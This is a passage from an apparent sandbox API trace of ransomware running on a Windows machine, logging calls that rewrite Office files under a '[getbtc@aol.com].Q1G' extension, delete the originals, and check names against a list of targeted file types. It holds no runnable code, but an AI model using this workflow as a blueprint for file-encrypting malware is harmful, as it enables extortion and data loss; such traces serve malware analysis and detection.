returned 0x324 [0249.503] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.503] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.503] GetLastError () returned 0x0 [0249.503] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x332, lpOverlapped=0x0) returned 1 [0249.505] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x340, lpOverlapped=0x0) returned 1 [0249.506] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.506] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.506] SetEndOfFile (hFile=0x360) returned 1 [0249.506] CloseHandle (hObject=0x360) returned 1 [0249.506] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.506] SetEndOfFile (hFile=0x324) returned 1 [0249.508] CloseHandle (hObject=0x324) returned 1 [0249.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 1 [0249.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.511] lstrlenW (lpString=".doc") returned 4 [0249.511] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.511] lstrlenW (lpString=".docx") returned 5 [0249.511] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0249.511] lstrlenW (lpString=".pdf") returned 4 [0249.511] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.511] lstrlenW (lpString=".xls") returned 4 [0249.511] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.511] lstrlenW (lpString=".xlsx") returned 5 [0249.511] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0249.511] lstrlenW (lpString=".ppt") returned 4 [0249.511] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.511] lstrlenW (lpString=".zip") returned 4 [0249.511] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.511] lstrlenW (lpString=".rar") returned 4 [0249.512] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString=".bz2") returned 4 [0249.512] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString=".7z") returned 3 [0249.512] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString=".dbf") returned 4 [0249.512] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString=".1cd") returned 4 [0249.512] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString=".jpg") returned 4 [0249.512] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString=".doc") returned 4 [0249.512] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString=".docx") returned 5 [0249.512] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0249.512] lstrlenW (lpString=".pdf") returned 4 [0249.512] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString=".xls") returned 4 [0249.512] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.512] lstrlenW (lpString=".xlsx") returned 5 [0249.512] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0249.512] lstrlenW (lpString=".ppt") returned 4 [0249.512] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.512] lstrlenW (lpString=".zip") returned 4 [0249.512] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.512] lstrlenW (lpString=".rar") returned 4 [0249.512] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.512] lstrlenW (lpString=".bz2") returned 4 [0249.512] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.513] lstrlenW (lpString=".7z") returned 3 [0249.513] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.513] lstrlenW (lpString=".dbf") returned 4 [0249.513] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.513] lstrlenW (lpString=".1cd") returned 4 [0249.513] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0249.513] lstrlenW (lpString=".jpg") returned 4 [0249.513] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.513] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.513] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0249.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.513] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2270608) returned 1 [0249.513] CloseHandle (hObject=0x324) returned 1 [0249.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0x20 [0249.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0249.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.514] lstrlenW (lpString=".doc") returned 4 [0249.515] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".docx") returned 5 [0249.515] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.515] lstrlenW (lpString=".pdf") returned 4 [0249.515] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".xls") returned 4 [0249.515] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".xlsx") returned 5 [0249.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.515] lstrlenW (lpString=".ppt") returned 4 [0249.515] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString=".zip") returned 4 [0249.515] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".rar") returned 4 [0249.515] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".bz2") returned 4 [0249.515] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.515] lstrlenW (lpString=".7z") returned 3 [0249.515] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString=".dbf") returned 4 [0249.515] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString=".1cd") returned 4 [0249.515] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString=".jpg") returned 4 [0249.515] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.515] lstrlenW (lpString=".doc") returned 4 [0249.515] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.515] lstrlenW (lpString=".docx") returned 5 [0249.515] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.516] lstrlenW (lpString=".pdf") returned 4 [0249.516] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.516] lstrlenW (lpString=".xls") returned 4 [0249.516] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.516] lstrlenW (lpString=".xlsx") returned 5 [0249.516] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.516] lstrlenW (lpString=".ppt") returned 4 [0249.516] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.516] lstrlenW (lpString=".zip") returned 4 [0249.516] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.516] lstrlenW (lpString=".rar") returned 4 [0249.516] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.516] lstrlenW (lpString=".bz2") returned 4 [0249.516] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.516] lstrlenW (lpString=".7z") returned 3 [0249.516] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.516] lstrlenW (lpString=".dbf") returned 4 [0249.516] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.516] lstrlenW (lpString=".1cd") returned 4 [0249.516] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0249.516] lstrlenW (lpString=".jpg") returned 4 [0249.516] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.516] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.516] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0249.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.517] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=883600) returned 1 [0249.517] CloseHandle (hObject=0x324) returned 1 [0249.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll")) returned 0x20 [0249.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.517] lstrlenW (lpString=".doc") returned 4 [0249.517] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.517] lstrlenW (lpString=".docx") returned 5 [0249.517] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.517] lstrlenW (lpString=".pdf") returned 4 [0249.517] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.517] lstrlenW (lpString=".xls") returned 4 [0249.517] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.517] lstrlenW (lpString=".xlsx") returned 5 [0249.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.518] lstrlenW (lpString=".ppt") returned 4 [0249.518] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".zip") returned 4 [0249.518] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString=".rar") returned 4 [0249.518] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString=".bz2") returned 4 [0249.518] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.518] lstrlenW (lpString=".7z") returned 3 [0249.518] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".dbf") returned 4 [0249.518] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".1cd") returned 4 [0249.518] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".jpg") returned 4 [0249.518] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".doc") returned 4 [0249.518] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString=".docx") returned 5 [0249.518] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.518] lstrlenW (lpString=".pdf") returned 4 [0249.518] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString=".xls") returned 4 [0249.518] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString=".xlsx") returned 5 [0249.518] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.518] lstrlenW (lpString=".ppt") returned 4 [0249.518] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.518] lstrlenW (lpString=".zip") returned 4 [0249.519] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.519] lstrlenW (lpString=".rar") returned 4 [0249.519] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.519] lstrlenW (lpString=".bz2") returned 4 [0249.519] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.519] lstrlenW (lpString=".7z") returned 3 [0249.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.519] lstrlenW (lpString=".dbf") returned 4 [0249.519] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.519] lstrlenW (lpString=".1cd") returned 4 [0249.519] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0249.519] lstrlenW (lpString=".jpg") returned 4 [0249.519] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.519] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.519] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0249.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.520] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=255920) returned 1 [0249.520] CloseHandle (hObject=0x324) returned 1 [0249.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll")) returned 0x20 [0249.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString=".doc") returned 4 [0249.521] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString=".docx") returned 5 [0249.521] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.521] lstrlenW (lpString=".pdf") returned 4 [0249.521] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString=".xls") returned 4 [0249.521] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString=".xlsx") returned 5 [0249.521] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.521] lstrlenW (lpString=".ppt") returned 4 [0249.521] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString=".zip") returned 4 [0249.521] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString=".rar") returned 4 [0249.521] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString=".bz2") returned 4 [0249.521] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.521] lstrlenW (lpString=".7z") returned 3 [0249.521] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString=".dbf") returned 4 [0249.521] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString=".1cd") returned 4 [0249.521] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString=".jpg") returned 4 [0249.521] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.522] lstrlenW (lpString=".doc") returned 4 [0249.522] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString=".docx") returned 5 [0249.522] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0249.522] lstrlenW (lpString=".pdf") returned 4 [0249.522] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString=".xls") returned 4 [0249.522] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString=".xlsx") returned 5 [0249.522] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0249.522] lstrlenW (lpString=".ppt") returned 4 [0249.522] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.522] lstrlenW (lpString=".zip") returned 4 [0249.522] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString=".rar") returned 4 [0249.522] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.522] lstrlenW (lpString=".bz2") returned 4 [0249.522] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.522] lstrlenW (lpString=".7z") returned 3 [0249.522] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.522] lstrlenW (lpString=".dbf") returned 4 [0249.522] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.522] lstrlenW (lpString=".1cd") returned 4 [0249.522] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0249.522] lstrlenW (lpString=".jpg") returned 4 [0249.522] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.522] lstrcmpiW (lpString1=".gta", lpString2=".Q1G") returned -1 [0249.522] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0249.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.523] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=249535) returned 1 [0249.523] CloseHandle (hObject=0x324) returned 1 [0249.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 0x20 [0249.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.523] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.524] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue 